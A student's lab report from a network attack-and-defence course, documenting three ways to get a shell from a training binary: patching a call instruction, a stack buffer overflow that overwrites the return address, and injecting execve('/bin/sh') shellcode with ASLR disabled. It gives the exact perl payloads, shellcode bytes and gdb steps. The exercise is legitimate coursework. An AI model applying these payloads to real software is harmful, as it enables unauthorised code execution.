20231905 2023-2024-2 《网络攻防实践》实践九报告
1.实践内容
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
具体实践内容
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
使用hostname命令修改kali主机名为自己的姓名拼音
下载pwn1文件修改为pwn20231905
使用objdump -d pwn20231905 | more对该文件进行反汇编
按回车往下找可以找到getShell、foo和main函数,main函数执行了调用foo函数的操作
用 cp pwn20231905 pwn1905 对 pwn20231905 文件进行备份,然后输入 vi pwn20231905 对文件进行修改
按esc键并输入 :%!xxd 将其变为16进制
输入/e8 d7找到要修改内容的位置,然后按insert将 d7 改为 c3
然后输入:%!xxd -r 还原为原格式:wq 保存退出
再次执行objdump -d pwn20231905查看main函数中call指令正确调用getShell
先执行chmod u+x pwn20231905授予权限,然后运行修改后的文件pwn20231905,发现输出是一个shell,程序的输出改为了getShell函数的功能
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
使用命令查看之前备份的文件格式pwn1905,objdump -d pwn1905。其中的foo函数,功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。
缓冲区溢出攻击需要通过输入过长的字符来覆盖EIP的内容使其变为getshell的地址。因为预留缓冲区28字节,EBP为4个字节,EIP为4个字节,因此需要构建一个至少36字节的字符串。于是构造字符串如下
但是首先要安装gdb,使用sudo apt install gdb 命令进行安装。
然后使用gdb调试程序,输入命令gdb pwn1905, r然后输入刚刚构建的字符串,发现出现缓冲区溢出错误
输入info r查看寄存器信息,发现EIP中的值为0x74747474。对照ascii表可知为“74747474”即输入字符串的最后四个字符tttt
目标函数getShell的地址为804847d,目标函数getShell的地址为804847d,构建输入字符串为
ttttttttttsssssssssssccccccccccc\x7d\x84\x04\x08\x0a,然后输入perl -e ‘print “ttttttttttsssssssssssccccccccccc\x7d\x84\x04\x08\x0a”’ > 20231905,将其生成十六进制字符串文件,并输入 xxd 20231905 可以看到输出
执行(cat 20231905; cat) | ./pwn1905,将其作为pwn1905的输入,程序输出被修改为getShell函数的功能
2.3 注入一个自己制作的shellcode并运行这段shellcode
先使用命令 sudo apt install execstack 安装execstack
使用命令 execstack -s pwn1905设置堆栈可执行,然后输入execstack -q pwn1905查询文件的堆栈是否可执行。
输入echo “0” > /proc/sys/kernel/randomize_va_space关闭地址随机化
输入perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > 1905,使用输出重定向将perl生成的字符串存储到文件中,然后输入(cat 20231905;cat) | ./pwn1905运行
重新打开一个终端,输入 ps -ef | grep pwn1905查看pwn1905的进程号
可以看到进程号为68001。
然后进入gdb调试,输入attach 68001;
通过设置断点输入 disassemble foo 来查看注入buf的内存地址;
输入 break *0x080484ae 设置断点;
输入 c 继续运行,同时在pwn3进程正在运行的那个界面点击回车,使其继续执行。
在pwn1905进程正在运行的终端点击回车,然后在gbd调试终端输入info r esp查看栈顶指针所在位置,再输入 x/16x 0xffffd3ec,可以看到值“01020304”的位置在0xffffd39c
根据我们构造的input_shellcode可知retaddr地址应为0xffffd39c+0x00000004=0xffffd3a0。因此把字符串前面刚刚修改为\xa0\xd3,输入perl -e ‘print “A” x 32;print “\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > 1905,输入 (cat 1905;cat) | ./pwn1905并执行程序。
3.学习中遇到的问题及解决
- 问题1:运行pwn20231905 时发现无权限
- 问题1解决方案:先输入执行chmod u+x pwn20231905 即可
- 问题2:实践内容二中,执行(cat 20231905; cat) | ./pwn1905后,仍然有段错误(segmentation fault)
- 问题2解决方案:检查发现20231905中输入字符串多了一个字符
4.实践总结
本次实验较为复杂,涉及到操作系统和汇编语言的相关知识,在试验的过程中遇到一些问题,通过和同学讨论及查阅资料慢慢解决,也感受到了网络攻防的乐趣。